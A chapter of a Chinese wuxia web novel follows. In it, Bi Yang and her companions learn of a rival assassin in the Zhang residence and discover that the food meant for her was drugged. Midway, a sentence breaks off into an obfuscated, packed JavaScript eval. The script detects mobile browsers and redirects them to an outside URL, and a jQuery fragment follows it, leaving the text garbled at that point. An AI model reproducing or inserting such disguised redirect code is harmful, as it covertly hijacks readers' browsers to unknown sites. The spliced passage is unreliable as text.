146.刺客
作品:《遥望暮云平》 毕扬提着食盒推开房门,温暖的气息扑面而来,房间角落里,炭盆烧得正旺,发出暗红的光。
而十夕,竟然已经坐在了桌旁,正悠闲地将手伸到炭盆上方烘烤着。听到开门声,他转过头,左眼透过铁纱,映着跳跃的火光。
“都走了?”十夕语气自然得仿佛他才是这屋子的主人,目光落在毕扬手中的食盒上,带着几分期待,“快打开看看,章府都准备了什么好菜?正好我也饿了。”
毕扬愣了一下,没想到十夕能如此悄无声息地潜入章府内院,还这般堂而皇之地坐在她房里。她将食盒放在桌上,十夕已经迫不及待地掀开了盖子。
食盒里饭菜丰盛,四菜一汤,两荤两素,还有一碟精致的点心和一碗热气腾腾的鸡汤。十夕先舀了一勺羹汤尝了尝,咂咂嘴,评价道:“用料是足,不过嘛……”他摇摇头,语气带着点嫌弃,“火候差了点,比起你这几天在船上做的,味道还是差远了。”
毕扬此刻哪有心思品评饭菜滋味。她将食盒推到一边,压低声音问道:“常肃哥呢?我们接下来如何行动?”
十夕见她神情严肃,云淡风轻道:“常肃去探听情况,顺便把风了,等他摸清时机,我们再动手不迟。”
他拿起筷子,夹了一箸清蒸鱼,边吃边分析:“此刻王鹤轩正与章振在前厅宴饮,人多眼杂,护卫想必也在附近。我们贸然过去,风险太大。况且,章府这么大,我们也不清楚他具体住在哪个院落,盲目搜寻,徒增变数。不如等他们宴罢,各自回房安歇。夜深人静,守卫松懈,那时再动手,或潜入,或调虎离山,拿回剑谱,更为稳妥。”
他瞥了毕扬一眼,语气随意地补充道:“或者,你若担心暴露,不愿亲自涉险,到时我与常肃去将剑谱取来给你便是。你就在此等候,也省得麻烦。”
这话说得如此轻松,仿佛取回剑谱如同探囊取物。
毕扬却听得眉头紧蹙。自己家的东西,岩曲门最后的传承,岂能假手他人?更何况,多经一道手,便多一分不确定。万一十夕他们得手后,对剑谱副本另有想法,或者中途出了什么岔子,她连现场情况都无法掌握。
“不行。” 毕扬断然摇头,眼神坚定,“我必须亲自去拿回来。那是岩曲门的东西,我有责任亲手取回。”
十夕似乎料到她会如此回答,并未坚持,只是点了点头:“也好,那便等常肃消息……”
他话音未落,窗外远方忽然传来一阵不同寻常的喧哗声,由远及近,似乎还夹杂着兵器碰撞和急促的呼喝!
两人同时神色一凛,侧耳倾听。
喧哗声正是从前厅方向传来,而且越来越清晰,似乎正朝着后园移动!隐约能听到有人高喊:
“有刺客!”
“拦住他!”
“怎么回事?”毕扬霍然起身。
十夕也放下碗筷,眼中闪过一丝凝重:“出去看看。”
两人迅速闪身出屋,刚来到小院中,便听墙头传来一声极轻微的闷哼,一个黑色的人影如同断线的风筝般翻过墙头,“噗通”一声重重摔在院内的石板地上,挣扎了一下,竟没能立刻爬起来。
毕扬心中一惊,定睛看去,借着廊下灯笼昏暗的光线,赫然发现那倒地之人竟是常肃!
二人相识一眼后一齐快步上前。
只见常肃脸色苍白如纸,嘴角渗出一缕鲜血,平日里冷漠刚硬的面容因痛苦而微微扭曲,左手紧紧捂着腹部,指缝间有暗红色的液体渗出。
“扶他进去!”十夕的声音带着罕见的急促。
两人合力,小心地将常肃搀扶起来,快速退回屋内,将他安置在卧榻上。十夕立刻掀开常肃捂住腹部的手,只见他黑色的劲装已被利刃划破,一道寸许长的伤口横在腰腹之间,虽然不算极深,但血流不止,显然伤及了皮肉经脉。
十夕眉头紧锁,迅速从自己怀中取出一个扁平的皮囊,倒出些淡黄色的药粉,均匀撒在伤口上。药粉触血即凝,血流稍缓。他又撕下自己内衫干净的布条,动作熟练而迅速地替常肃包扎止血。
“怎么会被发现?”十夕一边包扎,一边沉声问道,语气中带着难以置信,“以你的身手和隐匿功夫,在这两浙地界,章府之内,竟有人能伤你至此?何时出了这样的高手?”
常肃躺在榻上,气息粗重,额角渗出冷汗。他缓了几口气,才艰难道:“刺客……另有其人。属下……是追那刺客时,被他所伤。”
毕扬闻言,心头一跳,连忙返身将房门和窗户都仔细关好,插上门闩。
常肃继续喘息着说道:“属下原本按计划,潜伏在前厅宴客楼宇的房顶,等待他们宴饮结束,伺机探听王鹤轩的住处。结果……宴至中途,属下发现有一个小厮打扮的人,趁着护卫换岗的间隙,突然运起轻功,也悄无声息地上了房顶,身法极为诡异轻盈。”
他顿了顿,似乎牵动了伤口,眉头紧皱:“属下觉得可疑,便暗中尾随。那人似乎对章府布局颇为熟悉,径直朝着后宅深处的方向潜去。就在他准备掀瓦潜入之时,似乎察觉到了属下的气息,骤然回身……”
常肃眼中闪过一丝心有余悸:“我们交了手。那人……武功路数古怪,内力阴柔却凌厉,招式狠辣精准,绝非寻常护卫或家仆。属下……不是他的对手。交手不过十余招,便被他寻到破绽,一刀划中。属下自知不敌,又恐惊动府中大队人马更难脱身,只好故意弄出些声响,高喊有刺客,引来了附近的护卫。趁那人被惊动分神,拼尽全力脱身,一路逃到此地……”
十夕包扎的手微微一顿,追问道:“可看清那人用的是什么身法?哪门哪派的武功路数?”
常肃凝神回忆,眉头却皱得更紧:“身法飘忽,似鬼似魅,难以确切归类。至于武功……招式间,只能看出些岩曲剑法的影子,可……”
十夕接口,声音低沉:“可岩曲剑法流传江湖,各大门派乃至散修多少都会几式,以此为线索,范围太广,几无线索。”
他替常肃包扎好伤口,这才直起身,面色沉凝:“看来今夜想行动的不止我们,不仅我们在找王鹤轩,还有另一拨身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099638|177032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不明武功高强的人动了手。”只是不知道,他们的目标是否与我们相同。虽然不清楚他们是如何得知剑谱下落,但若真如此……我们此刻必须立刻行动了!务必抢在他们之前,赶在章振和王鹤轩发现之前,得手而归!”
毕扬认同十夕的判断,用力点头:“好!只是……如今整个府邸惊动,守卫必定严加搜寻盘查,我们需得更加小心。”
榻上的常肃闻言,挣扎着想坐起来:“堂主……属下还能……”
“你留在这里,安心养伤。”十夕按住他,语气不容置疑,“我和毕扬去便够了。你守住此处,万一有人来查,也好应对。”
十夕深吸一口气,准备起身与毕扬一同行动。然而,他刚刚站起,身形却猛地一晃,双腿竟似无法支撑身体,一个趔趄,单膝重重跪倒在地!
“十堂主!”毕扬大惊,连忙上前搀扶。
十夕自己也满脸难以置信。他闭目凝神,试图运转内力,却发现丹田气海空空如也,周身经脉如同淤塞的河道,内息丝毫无法调动。他猛地睁开眼,眼中闪过一丝恍然与冰冷,沉声道:“菜里……被下了药。”
“什么毒?!”常肃在榻上急问,挣扎着想查看。
“不是毒药,”十夕声音低沉,带着压抑的怒意和一丝自嘲,“此药只会让人浑身酸软乏力,内力暂时被封,无法凝聚催发。药效……会持续数日,之后方能自行缓解,对身体并无长久损伤。”
他说着,目光缓缓转向一旁的毕扬。
毕扬被他看得心头一颤,瞬间明白了他的未尽之言——这饭菜,原本是章振安排送给她吃的!如果不是十夕突然出现并先动了筷,此刻浑身无力、任人宰割的,就是她自己!
一股寒意顺着脊背窜上毕扬的头顶。
而十夕接下来的话,更如同重锤,狠狠砸在她的心口:“如果我猜得没错……”十夕的声音异常冷静,却字字如冰,“这应该是岩曲门早年秘制的酥筋散。药材难寻,配制不易,外人极难得到。看来……应该是之前,毕岚给他的了。”
爹给的?
毕扬如遭雷击,猛地后退一步,撞在桌沿上,发出“哐”一声轻响。她脑海中瞬间闪过一个画面——那次均逸也曾莫名浑身乏力、精神不济了好几日,难道,那次也是爹暗中下了药?
为什么?爹为什么要将这种岩曲门的秘药交给章振?又为什么章振要用它来对付她?
纷乱的思绪如同冰锥,刺得她脑仁生疼,呼吸都变得困难。她看着暂时失去战力的十夕,又看看榻上重伤的常肃,再想到外面潜藏的神秘高手和严阵以待的章府,一股前所未有的孤立无援和冰冷彻骨的背叛感,如同潮水般将她淹没。
但此刻,没有时间让她沉浸在震惊与痛苦中。剑谱还在某处,危机已然降临。
她用力咬了下舌尖,疼痛让她勉强找回一丝清明和力量。她弯下腰,将十夕搀扶到椅子上坐好。
毕扬深吸一口气,将千机引插在发髻之中,异常坚定道:“十堂主,你留在此处,我一个人去。”

